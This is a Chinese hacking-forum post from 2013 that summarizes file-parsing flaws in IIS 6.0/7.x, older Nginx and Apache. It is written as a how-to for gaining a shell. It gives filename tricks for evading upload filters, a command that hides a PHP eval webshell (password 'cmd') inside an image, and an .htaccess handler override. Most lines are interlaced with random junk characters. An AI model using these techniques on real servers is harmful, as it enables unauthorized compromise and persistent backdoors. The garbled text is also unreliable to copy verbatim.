找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2701|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain6 P* x8 c* F; i8 p% r; Y+ J# b
[+]IIS6.0' z, k7 I2 v( u/ R7 D; f3 z
( U5 C: _/ R. F
目录解析:/xx.asp/xx.jpg 5 @& I: E. J5 @: ?. K
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码2 V8 ^& O& L2 ]3 {; E/ m
IIS6.0 会将 xx.jpg 解析为 asp 文件。
8 h& v! L+ F. u" \' \: k5 _后缀解析:/xx.asp;.jpg     
& ]* v; I9 V, l* b+ x; O; p: \) W IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
8 n& b9 T) K3 P- L  v默认解析:/xx.asa7 t& f- F' k. e7 \5 f2 {
         /xx.cer
# F" J1 u* W/ }6 U8 X         /xx.cdx
6 f+ J' f( ~: g IIS6.0 默认的可执行文件除了 asp 还包含这三种+ t7 @, s1 w7 ~8 K' Q
此处可联系利用目录解析漏洞
9 t. L) f+ X0 p; s6 k: G9 |6 J5 O/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
/ D4 H' U9 p# E% g" K) H8 d4 T[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
% l$ F7 k2 ]* I: O
: r, d0 v. @* E+ M% g; W IIS 7.0/IIS 7.5/Nginx <0.8.03( c: T, z4 C# U7 b% {
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
( p1 _; @% t4 i( f+ i) @ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。0 _8 V$ d) p2 q' V2 @8 Z, m
常用利用方法:
9 f' D: K- ^, u: B 将一张图和一个写入后门代码的文本文件合并将恶意文本
( ^; y1 c" Q$ X3 | 写入图片的二进制代码之后,避免破坏图片文件头和尾
" j. f% u8 f2 s' v( G7 j 如:
, E- O3 \) h, l( M$ N* s: c! e4 Y5 Z! e copy xx.jpg /b + yy.txt/a xy.jpg
4 A2 t/ K. d% u. a+ f4 i #########################################################% T6 w4 N- U3 B) d$ h
/b 即二进制[binary]模式
8 t6 L* K  i$ V/ G& A4 p4 a /a 即ascii模式
- t5 Y0 Y/ K5 x# c8 t4 @ xx.jpg 正常图片文件
- @2 h. n1 ?+ {4 l5 r- \ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
; p- }& f5 [1 |& z0 i4 v '<?php eval($_POST[cmd])?>');?>
4 C! T) W$ y" i# i6 ]+ B  o- V 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
; ?8 q, {# y$ Y2 j! A& o& ^ 为shell.php的文件( m  `3 o- h1 e2 B7 B3 Q$ f* ?
###########################################################, Y4 h- F+ d( q1 o9 X" T
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
9 N) s2 l9 P8 Z  T, ? 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php : `" i# B% u* J4 X- U
密码 cmd9 o7 A9 v' J" \* ]' |7 {
[+]Nginx <0.8.03
6 z( X- M$ C# M- H4 A
' X) u5 R/ ~% Q# A 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
5 x! e' H# Z7 D* T9 [# L 在一个文件路径(/xx.jpg)后面加上%00.php
8 Y; X& b* k6 N/ U$ V 会将 /xx.jpg%00.php 解析为 php 文件。: K, |0 w! ^8 D: d: T* t* h
[+]Apache<0.8.03
# G8 y; J* K% I% k+ i, F3 g
2 l1 @3 [7 V; N8 q 后缀解析:test.php.x1.x2.x3$ P! m2 j; h' h+ Q9 U& X1 x% R. \0 ^
Apache将从右至左开始判断后缀,若x3非可识别后缀,- ~) k) H; w. h7 e
再判断x2,直到找到可识别后缀为止,然后将该可识别
. y  q5 T% T& B! d! y0 ?1 z# g 后缀进解析test.php.x1.x2.x3 则会被解析为php+ `  D/ n7 f* Z2 H
经验之谈:php|php3|phtml 多可被Apache解析。6 Y# [, k/ F+ Z2 J1 C
[+]其他一些可利用的
% O9 Y4 p# g" J8 {! a6 u
9 G8 ]2 y" t7 @" |# O9 h% L9 R在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
5 t0 R1 q) U% N若这样命名,windows会默认除去空格或点,这也是可以被利用的!' n) X3 E2 Y: H8 P2 }  Q
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
( O2 j& [5 J+ n9 P* |5 \0 |% n或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可# y; A+ Y' }& ~- }0 H) Z
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。% v& E  A- n9 F. B3 c6 s/ \/ I+ b
{Linux主机中不行,Linux允许这类文件存在}
! u* _" k( W$ R+ j3 p5 O: M如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说" D* C/ |) `3 P  h% f
的,当初我并不知道),且可以被上传,那可以尝试在9 ?2 }/ P# q7 o1 [' y- O
.htaccess中写入:
9 X# W( s  [4 [<FilesMatch “shell.jpg”>
- q; \& K% N* C' Y& ?8 ZSetHandler application/x-httpd-php & v3 X: O/ W' P  p
</FilesMatch>6 o& _9 q0 r5 l! D4 A
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件2 k! P4 P( K. d3 Q2 P# F# c
[+]错误修改
( p* n5 o7 e$ b, M / }4 q0 ]' p: D; _' ?) R- i
在 IIS 6.0 下可解析 /xx.asp:.jpg
  s' d) F& I, |; v9 Y{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
4 ]0 U. c) i3 Y  b  y/ `剩下/xx.asp}修改:4 e0 w9 Z- V$ K% z* Q" ]- _! c* O. k
先谢谢核攻击的提醒
, y$ \- M, o2 y# z: r8 G1 `当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp" q# t' U4 L* ?7 L! d3 X- @. D1 |6 h
里是没有任何内容的,因为。。不好解释 大家自己看: Y0 p# J8 e7 E- J
http://lcx.cc/?i=2448
8 F7 {5 z  _1 g' o" p1 c7 c0 jhttp://baike.baidu.com/view/3619593.htm5 W  v# Y% j7 T. h) ^

* ~4 M! r& l3 w7 l9 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表